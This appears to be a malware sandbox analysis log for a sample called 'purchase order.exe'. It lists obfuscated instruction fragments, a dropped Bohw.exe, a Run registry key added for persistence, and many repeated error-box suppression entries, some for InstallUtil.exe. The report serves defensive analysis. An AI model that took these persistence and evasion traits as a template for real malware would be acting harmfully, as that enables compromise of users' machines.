Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF2C68 push ecx; retf 0005h	0_2_05CF2C6A
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF2C29 push ecx; retf 0005h	0_2_05CF2C2A
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF2FE9 push esp; retf 0005h	0_2_05CF2FEA
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF1FF7 push 00000009h; iretd	0_2_05CF1FFE
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CFCF89 pushfd ; retf 0005h	0_2_05CFCF8A
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF2F88 push ebx; retf 0005h	0_2_05CF2F8A
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF4F08 push eax; retf 0005h	0_2_05CF4F09
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF29D1 push eax; retf 0005h	0_2_05CF29D2
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF31F9 push ebp; retf 0005h	0_2_05CF31FA
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF31B1 push ebp; retf 0005h	0_2_05CF31B2
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF3169 push ebp; retf 0005h	0_2_05CF316A
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF4970 push esp; retf 0005h	0_2_05CF4971
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF3129 push ebp; retf 0005h	0_2_05CF312A
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF30D9 push esp; retf 0005h	0_2_05CF30DA
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF3091 push esp; retf 0005h	0_2_05CF3092
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF3030 push esp; retf 0005h	0_2_05CF3032
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CFCBFF pushfd ; iretd	0_2_05CFCC06
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF4381 pushad ; retf 0005h	0_2_05CF4382
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF2B28 push eax; retf 0005h	0_2_05CF2B2A
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF4338 pushad ; retf 0005h	0_2_05CF433A
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF42F1 pushad ; retf 0005h	0_2_05CF42F2
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF2A10 push eax; retf 0005h	0_2_05CF2A12
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_061D3E88 push esp; ret	0_2_061D3E8B
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_06522788 push E8000001h; iretd	0_2_0652278D
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_06526951 push es; retf	0_2_06526957
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_027224B9 push 8BFFFFFFh; retf	3_2_027224BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_02729CD1 push es; ret	3_2_02729CD7

Source: C:\Users\user\Desktop\purchase order.exe

File created: C:\Users\user\AppData\Roaming\Bohw.exe

Jump to dropped file

Source: C:\Users\user\Desktop\purchase order.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Bohw			Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Bohw			Jump to behavior

Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
